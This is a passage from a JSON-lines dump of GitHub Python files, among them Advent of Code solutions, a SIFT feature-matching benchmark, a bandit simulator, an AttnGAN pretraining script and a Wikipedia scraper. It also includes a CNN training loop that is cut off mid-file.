\"SAN\")-2))\n","repo_name":"jaimcamp/AoC","sub_path":"2019/Day06/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31453649861","text":"import itertools\nimport json\n\nimport tqdm\n\nfrom tree_utiles.node import Node\n\n\ndef collect_vocab_from_file(path):\n types_set = set()\n values_set = set()\n rels_set = set()\n max_depth = 0\n with open(path,\"r\",encoding=\"utf-8\") as inputfile:\n for line in tqdm.tqdm(inputfile):\n line = json.loads(line)\n text = line[0]\n tgt_dict = json.loads(line[-1])\n # print(tgt_dict)\n types = tgt_dict[\"types\"]\n values = tgt_dict[\"values\"]\n rels = tgt_dict['rels']\n rels = list(itertools.chain(*rels))\n # for rel in rels:\n # u,d = rel.split(\"|\")\n # u = int(u)\n # d = int(d)\n # if u>40 or d>40:\n # print(u,d,rel)\n # s = tgt_dict[\"serialize\"]\n # tree = Node.deserialize(s)\n # tree.display()\n # print(text)\n # break\n # for rel in rels:\n # u,d = rel.split(\"|\")\n # u = int(u)\n # d = int(d)\n # max_depth = max([u,d,max_depth])\n\n types_set.update(set(types))\n values_set.update(set(values))\n rels_set.update(set(rels))\n return types_set,values_set,rels_set\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n\n splits = [\"train\",\"test\"]\n types_set, values_set, rels_set = {},{},{}\n for split in splits:\n # path = f\"C:\\\\Users\\\\tianshu\\\\PycharmProjects\\\\project\\\\data\\\\ape\\\\{split}.ape.json\"\n outpath = f\"C:\\\\Users\\\\tianshu\\\\PycharmProjects\\\\project\\\\data\\\\ape\\\\cleaned\\\\{split}.ape.json\"\n types, values, rels = collect_vocab_from_file(outpath)\n types_set.update(types)\n values_set.update(values)\n rels_set.update(rels)\n\n","repo_name":"NLUGROUP10/project","sub_path":"tree_utiles/collect_vocab.py","file_name":"collect_vocab.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"72123737180","text":"#교수님 코드\nimport sys\nsys.stdin = open('../../03_List2/02_부분집합의합/input.txt')\n\nt = int(input())\n\nfor tc in range(1, t+1):\n n, k = input().split()\n result = 0\n\n# 1. 부분집합의 개수만큼 반복 (모든 부분집합 검색)\n for i in range(1, 1 << 12): #부분집합의 개수만큼 반복(공집합 포함 X)\n length, total = 0, 0 # n,k랑 비교\n\n# 2. 몇 번째 원소를 선택할지 결정\n for j in range(12):\n if i & (1 << j):\n length += 1\n total += j + 1 #j는 인덱스라서 1이 작다\n\n# 3. 조건을 만족하면(N개, 합이 K) 결과값 += 1\n if length == n and total == k:\n result += 1\n\n print(f'#{tc} {result}')\n\n","repo_name":"hagnoykmik/Algorithm-workshop","sub_path":"04_List4/01_부분집합의_합/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72964122780","text":"import csv\nimport time\nimport cv2\nimport numpy\n\n\ndef feature_matching(current_frame: numpy, distance_threshold: float, object_threshold: int) -> []:\n def find_features() -> int:\n template = cv2.imread('../truetemplate.jpg', 0)\n sift = cv2.SIFT_create()\n kp1, des1 = sift.detectAndCompute(template, None)\n kp2, des2 = sift.detectAndCompute(current_frame, None)\n\n if des2 is not None:\n bf = cv2.BFMatcher()\n matches = bf.knnMatch(des1, des2, k=2)\n\n goodMatches = []\n\n for i, pair in enumerate(matches):\n try:\n m, n = pair\n if m.distance <= distance_threshold * n.distance:\n goodMatches.append(m)\n except ValueError:\n pass\n\n return len(goodMatches)\n\n return 0\n\n value = find_features()\n\n return [bool(value >= object_threshold), value]\n\n\ndef analysing_feature_matching(capture, distance_threshold: float, object_threshold: int):\n print(\"-- START of Analysing Feature Matching --\")\n\n # To generate average time\n time_arrays = []\n\n # To count the frames\n count = 0\n\n # Actual data gathered\n trues = 0\n true_matches = []\n falses = 0\n false_matches = []\n\n while capture.isOpened():\n ret, frame = capture.read()\n\n if not ret:\n print(\"End of stream\")\n break\n\n start = time.time()\n result = feature_matching(frame, distance_threshold, object_threshold)\n end = round(time.time() - start, 3)\n\n if result[0]:\n trues += 1\n true_matches.append(result[1])\n else:\n falses += 1\n false_matches.append(result[1])\n\n time_arrays.append(end)\n count += 1\n print(f'[Frame {count}] Result: {result[0]} (Matches: {result[1]}), Time: {end}')\n\n if count >= 0:\n average_time = numpy.average(time_arrays)\n if trues == 0:\n average_true_matches = 0\n else:\n average_true_matches = numpy.average(true_matches)\n\n if falses == 0:\n average_false_matches = 0\n else:\n average_false_matches = numpy.average(false_matches)\n\n average_matches = numpy.average(true_matches + false_matches)\n\n recall = trues/count\n\n print(f\"-- Results --\")\n print(f\"Settings: distance_threshold: {distance_threshold}, object_threshold: {object_threshold}\")\n print(f\"Frames analysed: {count}\")\n print(f\"Average processing time: {average_time}\")\n print(f\"Detected: {trues}\")\n print(f\"Average matches when detected: {average_true_matches}\")\n print(f\"Not detected: {falses}\")\n print(f\"Average matches when not detected: {average_false_matches}\")\n print(f\"Overall average matches:{average_matches}\")\n print(f\"Recall: {recall}\")\n print(\"-- END of Analysing Feature Matching --\")\n return [count, average_time, trues, falses, average_true_matches, average_false_matches, recall]\n else:\n return [0, 0, 0, 0, 0, 0]\n\n\nif __name__ == '__main__':\n iterations = 50\n\n print(\"-- Frame Analyzer For Educational Purposes --\")\n\n export_data = [\n [\n \"Run\",\n \"Count\",\n \"Time\",\n \"Recall\",\n ]\n ]\n\n for e in range(1, iterations+1):\n print(f\"-- Run {e} --\")\n capture_positive = cv2.VideoCapture('../testing_movies/one.mov')\n data = analysing_feature_matching(capture_positive, 0.5, 10)\n export_data.append([\n f\"{e}\",\n f\"{data[0]}\",\n f\"{data[1]}\",\n f\"{data[6]}\"\n ])\n capture_positive.release()\n\n for e in range(1, iterations + 1):\n print(f\"-- Run {e} --\")\n capture_positive = cv2.VideoCapture('../testing_movies/two.mov')\n data = analysing_feature_matching(capture_positive, 0.5, 10)\n export_data.append([\n f\"{e}\",\n f\"{data[0]}\",\n f\"{data[1]}\",\n f\"{data[6]}\"\n ])\n capture_positive.release()\n\n for e in range(1, iterations + 1):\n print(f\"-- Run {e} --\")\n capture_positive = cv2.VideoCapture('../testing_movies/three.mov')\n data = analysing_feature_matching(capture_positive, 0.5, 10)\n export_data.append([\n f\"{e}\",\n f\"{data[0]}\",\n f\"{data[1]}\",\n f\"{data[6]}\"\n ])\n capture_positive.release()\n\n with open(f\"results.csv\", mode=\"w\", newline=\"\") as file:\n writer = csv.writer(file)\n writer.writerows(export_data)\n\n\n","repo_name":"OhPandey/bachelor_summer2023","sub_path":"research/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32291135695","text":"import numpy as np\nimport scipy as sp\nimport scipy.stats as st\nimport auxiliary as aux\n\n\n\nclass System:\n def __init__(self, D, B, T):\n \n self.D = D # number of domains\n self.B = B # number of resource blocks in each domain\n self.T = T # time horizon \n self.theta_true = np.zeros((D, max(B), 2)) # The true system parameter \n \n # History\n self.C = np.zeros((T, 2)) # the context history\n self.A = np.zeros((T, D)) # the action history\n self.OBS = np.zeros((T, D)) # the observation history\n self.REW = np.zeros(T) # the reward history\n self.REG = np.zeros(T) # the regret history\n self.CUM_REG = np.zeros(T) # the cumulative regret history\n self.AVG_REG = np.zeros(T) # the running average regret history\n \n \n def init_true_parameter(self):\n \"\"\"\n Initialize the true system parameter. The parameter for each resource block\n is generated uniformly at random from [0,1]^2.\n \"\"\" \n \n for i in range(self.D):\n for j in range(self.B[i]):\n self.theta_true[i][j] = np.random.uniform(0, 1, 2) \n #print('theta_true =', self.theta_true)\n \n return None \n\n\n def generate_context(self, t):\n \"\"\"\n Generate a context. \n \n Input: \n t: the round index, 0 <= t <= T-1. Not used. \n \n Output:\n c: a length-3 numpy array in [0,1]^2.\n \"\"\"\n \n c = np.random.uniform(0, 1, 2)\n return c\n\n\n def play(self, c, a, t):\n \"\"\"\n Given context c, action a, generate observation, record/calculate the reward and regret. \n \n Input:\n c: the context, a numpy array in [0,1]^2\n a: the action, a length-D vector of integers \n t: the round index, 0 <= t <= T-1.\n \n Output:\n obs: the observation, a length-D binary vector\n rew: the reward, a single value\n reg: the regret, a single value \n \"\"\"\n \n # Play the game, get an observation\n obs = self.obtain_observation(c, a)\n \n # Performance measure\n best_action = self.find_best_action(c)\n #print('best_action is ', best_action) \n rew = self.calculate_reward(c, a)\n reg = self.calculate_regret(c, rew, best_action) \n \n return (obs, rew, reg) \n\n\n\n def obtain_observation(self, c, a): \n \"\"\"\n Given an action a and context c, generate the observation, which is random. \n \n Input:\n c: the context, a numpy array in [0,1]^2\n a: the action, a length-D vector of integers \n \n Output:\n obs: the observation, a binary length-D vector. \n \"\"\" \n \n obs = np.zeros(self.D)\n for i in range(self.D):\n scale = self.theta_true[i][a[i]][0] * c[0] + self.theta_true[i][a[i]][1] # scale of exponential dist.\n #print('mu =', mu)\n obs[i] = np.random.exponential(scale, 1)\n return obs\n\n\n def find_best_action(self, c):\n \"\"\"\n Find the best action/arm of the system based on the current parameters and the context c. \n \n Input:\n c: the context, a numpy array in [0,1]^2\n \n Output:\n a: the action, a length-D vector of integers \n \"\"\"\n \n a = aux.argmax_model2(self, self.theta_true, c)\n return a\n\n\n def calculate_reward(self, c, a):\n \"\"\" \n Given the context c and action a, calculate the reward. \n Note that the reward doesn't depend on the observation in this setting.\n \n Input:\n c: the context, a numpy array in [0,1]^2\n a: the actual action, a length-D vector of integers \n \n Output:\n reward: a real value. \n \"\"\"\n \n # The actual reward is usually a function of the observation. \n # However, here we consider the expected reward, which is a function of the action and context. \n reward = aux.calculate_expected_reward(self, a, self.theta_true, c)\n return reward\n \n\n def calculate_regret(self, c, actual_reward, best_action):\n \"\"\"\n Calculate the regret of not choosing the best action, which equals to the\n reward of choosing the best action minus the actual reward. \n \n Input:\n c: the context, a numpy array in [0,1]^2 \n best_action: the best action, a length-D vector of integers\n actual_reward: a real value. \n \n Output:\n reg: the regret of not choosing the best action, a real value. \n \"\"\"\n \n best_reward = self.calculate_reward(c, best_action)\n reg = best_reward - actual_reward\n return reg\n\n\n def run(self):\n \"\"\"\n Run the game. \n \"\"\"\n \n for t in range(self.T):\n #if t % 1 == 0:\n #print(t)\n \n # Generate a context\n c = self.generate_context(t)\n #print('Context: ', c)\n \n # select an action\n a = self.select_action(t, c)\n #print('Action:', a)\n \n # Obtain observation, record/calculate the reward and regret \n (obs, rew, reg) = self.play(c, a, t)\n #print('observation:', obs) \n #print('reward:', rew)\n #print('regret:', reg)\n \n # update state variables \n self.update_state(c, a, obs, t) \n \n # update history\n self.update_history(c, a, obs, rew, reg, t)\n return None\n\n\n def update_history(self, c, a, obs, rew, reg, t):\n \"\"\" \n Input:\n c: the context, a numpy array in [0,1]^2\n a: the action, a length-D vector of integers \n obs: the observation, a binary length-D vector\n rew: the reward, a single value\n reg: the regret, a single value \n t: the round index, 0 <= t <= T-1. \n \"\"\" \n self.C[t,:] = c # context history\n self.A[t,:] = a # action history\n self.OBS[t,:] = obs # obsevation history\n self.REW[t] = rew # reward history\n self.REG[t] = reg # regret history\n if t == 0: # accumulative regret history\n self.CUM_REG[t] = reg\n else:\n self.CUM_REG[t] = self.CUM_REG[t-1] + reg \n self.AVG_REG[t] = self.CUM_REG[t] / float(t+1) # running average regret history\n return None \n","repo_name":"zeyuzhou91/PhD_dissertation","sub_path":"network_slicing/model_2/bandit.py","file_name":"bandit.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"35193820602","text":"#!/usr/bin/env python\nfrom brain_games.scripts.brain_games import main as general_main, engine\nimport random\n\n\ndef prime():\n case = random.randint(1, 100)\n counter = 0\n for i in range(2, case // 2 + 1):\n if case % i == 0:\n counter += 1\n print('Question: {}'.format(case))\n return 'yes' if counter == 0 else 'no'\n\n\ndef main():\n name = general_main()\n print('Answer \"yes\" if given number is prime. Otherwise answer \"no\".')\n return engine(prime, name)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ed-bugrovsky/python-project-lvl1","sub_path":"brain_games/scripts/brain_prime.py","file_name":"brain_prime.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11620379514","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"This script is created for Whiteboard crypto to solve the monthly NFT puzzle.\nThis script outputs the flag needed to solve Puzzle 01. The NFT contains\na red or blue pixel in the top left corner which represents a 0 or 1.\nWhen the binary string is converted to ASCII it contains the flag.\n\"\"\"\n\nfrom PIL import Image\n\n__author__ = \"Whiteboard Crypto\"\n__copyright__ = \"Copyright 2021, Whiteboard Crypto\"\n__credits__ = [\"Theodore\"]\n__license__ = \"MIT\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Whiteboard Crypto\"\n__email__ = \"whiteboardcryptoteam@gmail.com\"\n__status__ = \"Development\"\n\n\ndef decode():\n flag = \"\"\n\n for x in range(0,256):\n image = Image.open(\"images/{}.png\".format(x), \"r\")\n image_rgb = image.convert(\"RGB\")\n r, g, b = image_rgb.getpixel((1, 1))\n if(r == 128 and g == 0 and b == 0):\n flag += \"1\"\n elif(r == 0 and g == 0 and b == 128):\n flag += \"0\"\n\n binary_int = int(flag, 2)\n byte_number = binary_int.bit_length() + 7 // 8\n binary_array = binary_int.to_bytes(byte_number, \"big\")\n ascii_text = binary_array.decode()\n\n flag = ascii_text\n return flag\n\ndef main():\n print(\"Flag: \" + decode())\n\nif __name__ == '__main__' :\n main()\n","repo_name":"WhiteboardCryptoTeam/Solutions-NFT-Puzzle-November-2021","sub_path":"WBC - Solution NFT Puzzle01 November 2021.py","file_name":"WBC - Solution NFT Puzzle01 November 2021.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"503997555","text":"from aocutils.clients.client import fetch, submit\n\n\ndef find_pack(message, start):\n for i in range(len(message)):\n if len(set(list(stream[i:i + start]))) == start:\n break\n return i + start\n\n\nif __name__ == '__main__':\n with open('day6/inputs.txt', 'r') as f:\n stream = f.read().strip()\n\nprint('The answer to part 1 is: {}'.format(find_pack(stream, 4)))\nprint('The answer to part 2 is: {}'.format(find_pack(stream, 14)))\nsubmit(find_pack(stream, 4), year=2022, day=6, level=1)\nsubmit(find_pack(stream, 14), year=2022, day=6, level=2)\n","repo_name":"mleijon/AoC2022","sub_path":"day6/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10409069825","text":"from bs4 import BeautifulSoup\nimport requests\n\nresponse = requests.get(url=\"https://en.wikipedia.org/wiki/%22Hello,_World!%22_program\")\nsoup = BeautifulSoup(response.text, \"html.parser\")\n\n# Finding the main title tag.\ntitle = soup.find(\"h1\", class_=\"firstHeading\")\nprint(\"Title of the page: {}\".format(title.get_text()))\n\nprint(\"\\nList of chapters and links:\")\nchapters_list = soup.find_all(\"h2\")\nfor chapter in chapters_list:\n chapter_text = chapter.get_text()\n chapter_link = chapter.a\n if chapter_link:\n chapter_href = chapter.a.get(\"href\")\n else:\n chapter_href = \"\"\n print(chapter_text, chapter_href)\n\nprint(\"\\nList of sections and links:\")\nsections_list = soup.find_all(\"h3\")\nfor section in sections_list:\n section_text = section.get_text()\n section_link = section.a\n if section_link:\n section_href = section.a.get(\"href\")\n else:\n section_href = \"\"\n print(section_text, section_href)\n","repo_name":"devinsimplewords/python_beautifulsoup","sub_path":"web_scraping.py","file_name":"web_scraping.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7627717367","text":"import torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nfrom torchvision.models import resnet101\nimport time\nimport cPickle\nimport model as gan_model\nfrom miscc.config import cfg\nimport imagecaption.opts as opts\nfrom imagecaption.dataloader import *\nimport imagecaption.misc.utils as utils\nfrom imagecaption.train import add_summary_value\n\ntry:\n import tensorflow as tf\nexcept ImportError:\n print(\"Tensorflow not installed; No tensorboard logging.\")\n tf = None\n\nclass FeatureExtractor(nn.Module):\n def __init__(self, resnet):\n super(FeatureExtractor, self).__init__()\n self.resnet = resnet\n\n def forward(self, img):\n x = img.unsqueeze(0)\n\n x = self.resnet.conv1(x)\n x = self.resnet.bn1(x)\n x = self.resnet.relu(x)\n x = self.resnet.maxpool(x)\n\n x = self.resnet.layer1(x)\n x = self.resnet.layer2(x)\n x = self.resnet.layer3(x)\n x = self.resnet.layer4(x)\n\n feature = x.mean(3).mean(2).squeeze()\n\n return feature\n\n\n# model, training options\n#TODO:\nopt = opts.parse_opt()\n\n# \"decoder\": generator of AttnGAN\nif cfg.GAN.B_DCGAN:\n model = gan_model.G_DCGAN()\nelse:\n model = gan_model.G_NET() # text-to-image AttnGAN generator\nmodel.cuda()\nmodel.train()\n\n# resnet feature extractor\nresnet = resnet101(pretrained=True)\nfeature_extractor = FeatureExtractor(resnet)\nfeature_extractor.cuda()\nfeature_extractor.eval()\n\n# linear layer to convert dim\ntransform = nn.Linear(2048, cfg.TEXT.EMBEDDING_DIM, bias=False)\n\n# data loader\nloader = DataLoader(opt)\nbatch_size = loader.batch_size\n\n########## some variables to use with GAN ##########\nnoise = Variable(torch.FloatTensor(batch_size, cfg.GAN.Z_DIM)).cuda()\nword_embs = torch.zeros(batch_size, cfg.TEXT.EMBEDDING_DIM).cuda()\nmask = torch.zeros(batch_size, cfg.TEXT.WORDS_NUM).cuda()\n\ndef eval_split(model, loader, transform, eval_kwargs={}):\n verbose = eval_kwargs.get('verbose', True)\n num_images = eval_kwargs.get('num_images', eval_kwargs.get('val_images_use', -1))\n split = eval_kwargs.get('split', 'val')\n\n # Make sure in the evaluation mode\n model.eval()\n\n loader.reset_iterator(split)\n\n n = 0\n loss_sum = 0\n loss_evals = 1e-8\n while True:\n data = loader.get_batch(split)\n n = n + loader.batch_size\n\n fc_feats = data['fc_feats']\n with torch.no_grad():\n fc_feats = Variable(torch.from_numpy(fc_feats)).cuda()\n transform_embs = transform(fc_feats)\n [fake_imgs], att_maps, mu, logvar = model(noise, transform_embs, word_embs, mask)\n fk_feats, _ = feature_extractor(fake_imgs[-1])\n loss = torch.dist(fc_feats, fk_feats) / loader.batch_size\n loss_sum = loss_sum + loss\n loss_evals = loss_evals + 1\n\n if data['bounds']['wrapped']:\n break\n if num_images >= 0 and n >= num_images:\n break\n\n if verbose:\n print('evaluating validation preformance: L2 norm %f' % loss)\n # Switch back to training mode\n model.train()\n return loss_sum / loss_evals\n\n# loggings\ntf_summary_writer = tf and tf.summary.FileWriter(opt.checkpoint_path)\n\ninfos = {}\nhistories = {}\nif opt.start_from is not None:\n if os.path.isfile(os.path.join(opt.start_from, 'histories_' + opt.id + '.pkl')):\n with open(os.path.join(opt.start_from, 'histories_' + opt.id + '.pkl')) as f:\n histories = cPickle.load(f)\n\niteration = infos.get('iter', 0)\nepoch = infos.get('epoch', 0)\n\nval_result_history = histories.get('val_result_history', {})\nloss_history = histories.get('loss_history', {})\nlr_history = histories.get('lr_history', {})\n\nloader.iterators = infos.get('iterators', loader.iterators)\nloader.split_ix = infos.get('split_ix', loader.split_ix)\nif opt.load_best_score == 1:\n best_val_score = infos.get('best_val_score', None)\n\nupdate_lr_flag = True\n\n# optimizer\noptimizer = torch.optim.Adam(model.parameters(), lr=opt.learning_rate, weight_decay=opt.weight_decay)\n\n# Load the optimizer\nif vars(opt).get('start_from', None) is not None:\n optimizer.load_state_dict(torch.load(os.path.join(opt.start_from, 'optimizer.pth')))\n\n# training\nwhile True:\n if update_lr_flag:\n # Assign the learning rate\n if epoch > opt.learning_rate_decay_start and opt.learning_rate_decay_start >= 0:\n frac = (epoch - opt.learning_rate_decay_start) // opt.learning_rate_decay_every\n decay_factor = opt.learning_rate_decay_rate ** frac\n opt.current_lr = opt.learning_rate * decay_factor\n utils.set_lr(optimizer, opt.current_lr) # set the decayed rate\n else:\n opt.current_lr = opt.learning_rate\n update_lr_flag = False\n\n start = time.time()\n # Load data from train split (0)\n data = loader.get_batch('train')\n print('Read data:', time.time() - start)\n\n torch.cuda.synchronize()\n start = time.time()\n\n fc_feats = data['fc_feats'] # 2048\n fc_feats = Variable(torch.from_numpy(fc_feats), requires_grad=False).cuda()\n\n optimizer.zero_grad()\n transform_embs = transform(fc_feats)\n [fake_imgs], att_maps, mu, logvar = model(noise, transform_embs, word_embs, mask)\n fk_feats = feature_extractor(fake_imgs)\n loss = torch.dist(fc_feats, fk_feats) / batch_size\n loss.backward()\n utils.clip_gradient(optimizer, opt.grad_clip)\n optimizer.step()\n train_loss = loss.item()\n torch.cuda.synchronize()\n end = time.time()\n print(\"iter {} (epoch {}), train_loss = {:.3f}, time/batch = {:.3f}\" \\\n .format(iteration, epoch, train_loss, end - start))\n\n # Update the iteration and epoch\n iteration += 1\n if data['bounds']['wrapped']:\n epoch += 1\n update_lr_flag = True\n\n # Write the training loss summary\n if (iteration % opt.losses_log_every == 0):\n if tf is not None:\n add_summary_value(tf_summary_writer, 'train_loss', train_loss, iteration)\n add_summary_value(tf_summary_writer, 'learning_rate', opt.current_lr, iteration)\n tf_summary_writer.flush()\n\n loss_history[iteration] = train_loss\n lr_history[iteration] = opt.current_lr\\\n\n # make evaluation on validation set, and save model\n if (iteration % opt.save_checkpoint_every == 0):\n # eval model\n eval_kwargs = {'split': 'val',\n 'dataset': opt.input_json}\n eval_kwargs.update(vars(opt))\n val_loss = eval_split(model, loader, transform, eval_kwargs={})\n\n # Write validation result into summary\n if tf is not None:\n add_summary_value(tf_summary_writer, 'validation loss', val_loss, iteration)\n tf_summary_writer.flush()\n val_result_history[iteration] = {'loss': val_loss}\n\n # Save model if is improving on validation result\n current_score = - val_loss\n\n best_flag = False\n if True: # if true\n if best_val_score is None or current_score > best_val_score:\n best_val_score = current_score\n best_flag = True\n checkpoint_path = os.path.join(opt.checkpoint_path, 'G_DCGAN.pth')\n torch.save(model.state_dict(), checkpoint_path)\n print(\"model saved to {}\".format(checkpoint_path))\n optimizer_path = os.path.join(opt.checkpoint_path, 'optimizer.pth')\n torch.save(optimizer.state_dict(), optimizer_path)\n\n # Dump miscalleous informations\n infos['iter'] = iteration\n infos['epoch'] = epoch\n infos['iterators'] = loader.iterators\n infos['split_ix'] = loader.split_ix\n infos['best_val_score'] = best_val_score\n infos['opt'] = opt\n infos['vocab'] = loader.get_vocab()\n\n histories['val_result_history'] = val_result_history\n histories['loss_history'] = loss_history\n histories['lr_history'] = lr_history\n with open(os.path.join(opt.checkpoint_path, 'infos_' + opt.id + '.pkl'), 'wb') as f:\n cPickle.dump(infos, f)\n with open(os.path.join(opt.checkpoint_path, 'histories_' + opt.id + '.pkl'), 'wb') as f:\n cPickle.dump(histories, f)\n\n if best_flag:\n checkpoint_path = os.path.join(opt.checkpoint_path, 'G_DCGAN-best.pth')\n torch.save(model.state_dict(), checkpoint_path)\n print(\"model saved to {}\".format(checkpoint_path))\n with open(os.path.join(opt.checkpoint_path, 'infos_' + opt.id + '-best.pkl'), 'wb') as f:\n cPickle.dump(infos, f)\n\n # Stop if reaching max epochs\n if epoch >= opt.max_epochs and opt.max_epochs != -1:\n break\n","repo_name":"sebsk/BUTTER","sub_path":"AttnGAN_pretrain/code/image_ae_pretrain.py","file_name":"image_ae_pretrain.py","file_ext":"py","file_size_in_byte":8693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2953508741","text":"from PIL import Image\nfrom PIL import ImageFont,ImageDraw\n\nascii_char = list(\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\\\"^`'. \")\n\ndef get_char(r,g,b,alpha=256):\n if alpha==0:\n return ''\n length=len(ascii_char)\n gray=int(0.2126*r+0.7152*g+0.0722*b)\n unit=(256.0+1)/length\n return ascii_char[int(gray/unit)]\n\nif __name__ == \"__main__\":\n img='/Users/luyujin/文档/python/爬虫+基础/wechat.jpg'\n im=Image.open(img)\n width=int(im.width/6)\n height=int(im.height/15)\n im=im.resize((width,height),Image.NEAREST)\n txt=''\n for i in range(height):\n for j in range(width):\n txt +=get_char(*im.getpixel((j,i)))\n txt =txt+'\\n'\n print(txt)\n ","repo_name":"crystalen/deep_list","sub_path":"图片转字符号-黑白 .py","file_name":"图片转字符号-黑白 .py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4896810467","text":"from django.db.models import Q\nfrom django.forms import CheckboxInput, DateInput\nfrom django_filters import DateFilter, BooleanFilter\n\nfrom orders.choices.order import StatusChoices\nfrom orders.models import Order\nfrom utils.filters import BaseFilter\n\n\nclass CRMOrdersFilter(BaseFilter):\n date_start = DateFilter(\n method=\"filter_date_start\", widget=DateInput(attrs={\"class\": \"form-control\", \"placeholder\": \"01.10.21\"})\n )\n date_end = DateFilter(\n method=\"filter_date_end\", widget=DateInput(attrs={\"class\": \"form-control\", \"placeholder\": \"15.03.22\"})\n )\n new = BooleanFilter(method=\"filter_new\", widget=CheckboxInput(attrs={\"class\": \"form-check-input\"}))\n payed = BooleanFilter(method=\"filter_payed\", widget=CheckboxInput(attrs={\"class\": \"form-check-input\"}))\n canceled = BooleanFilter(method=\"filter_canceled\", widget=CheckboxInput(attrs={\"class\": \"form-check-input\"}))\n\n searching_fields = (\n \"id\",\n \"email\",\n \"phone\",\n \"status\",\n )\n\n class Meta:\n model = Order\n fields = [\"id\", \"email\", \"phone\", \"status\"]\n\n def filter_date_start(self, qs, _, value):\n q = Q()\n if value:\n q &= Q(created_at__gte=value)\n return qs.filter(q)\n\n def filter_date_end(self, qs, _, value):\n q = Q()\n if value:\n q &= Q(created_at__lte=value)\n return qs.filter(q)\n\n def filter_new(self, qs, _, value):\n q = Q()\n if value:\n q &= Q(status=StatusChoices.NEW)\n return qs.filter(q)\n\n def filter_canceled(self, qs, _, value):\n q = Q()\n if value:\n q &= Q(status=StatusChoices.CANCELED)\n return qs.filter(q)\n\n def filter_payed(self, qs, _, value):\n q = Q()\n if value:\n q &= Q(status=StatusChoices.PREPAYED)\n return qs.filter(q)\n","repo_name":"BeRs7/test_back","sub_path":"crm/filters/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7731876861","text":"from os import makedirs\nfrom os.path import isdir, isfile, join\nfrom tempfile import TemporaryDirectory\nfrom typing import List\n\nimport pytest\n\nfrom niceml.experiments.experimenttests.checkfilesfolderstest import CheckFilesFoldersTest\nfrom niceml.experiments.experimenttests.exptests import ExpTestResult, TestStatus\n\n\n@pytest.fixture\ndef work_dir() -> str:\n with TemporaryDirectory() as tmp_dir:\n t_dir = join(tmp_dir, \"test\")\n makedirs(t_dir)\n assert isdir(t_dir)\n t_file = join(t_dir, \"file.txt\")\n open(t_file, \"w\").close()\n assert isfile(t_file)\n yield tmp_dir\n\n\n@pytest.mark.parametrize(\n \"file_list,folder_list,target\",\n [\n ([], None, TestStatus.OK),\n ([join(\"test\", \"file.txt\")], [], TestStatus.OK),\n (None, [\"test\"], TestStatus.OK),\n ([\"false\"], [], TestStatus.FAILED),\n ([], [\"false\"], TestStatus.FAILED),\n ],\n)\ndef test_check_files_folder(\n file_list: List[str], folder_list: List[str], target: TestStatus, work_dir: str\n):\n test = CheckFilesFoldersTest(file_list, folder_list)\n pred: ExpTestResult = test(work_dir)\n assert pred.status == target\n","repo_name":"codecentric-oss/niceml","sub_path":"tests/unit/niceml/experiments/experimenttests/test_filesfoldertest.py","file_name":"test_filesfoldertest.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"69"} +{"seq_id":"3027155684","text":"import os\nimport time\nimport warnings\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchviz import make_dot\nfrom tqdm import tqdm\n\nfrom ml.model.cnn.architecture import ConvNet\nfrom ml.model.cnn.data_loader import (create_pytorch_datasets,\n load_data_from_dump)\nfrom ml.model.cnn.plot import plot_grid_search, plot_train_eval_curves\nfrom ml.utils import get_logger\n\nwarnings.filterwarnings(\"ignore\")\ntorch.set_num_threads(1)\n\nLOGGER = get_logger()\n\n\ndef cnn_train_model(model, train_loader, test_loader, optimizer, config):\n EPOCH = config[\"epoch\"]\n DEVICE = config[\"device\"]\n\n model = model.to(DEVICE)\n\n if DEVICE == 'cuda':\n model = torch.nn.DataParallel(model)\n cudnn.benchmark = True\n\n t0 = time.perf_counter()\n\n loss_train = np.zeros((EPOCH,))\n loss_test = np.zeros((EPOCH,))\n acc_test = np.zeros((EPOCH,))\n acc_train = np.zeros((EPOCH,))\n time_test = np.zeros((EPOCH,))\n\n for epoch in tqdm(range(EPOCH), total=EPOCH):\n\n # train 1 epoch\n model.train()\n correct = 0\n train_loss = 0\n for step, (x, y) in enumerate(train_loader):\n x, y = x.to(DEVICE), y.to(DEVICE)\n b_x = Variable(x)\n b_y = Variable(y)\n scores = model(b_x)\n loss = 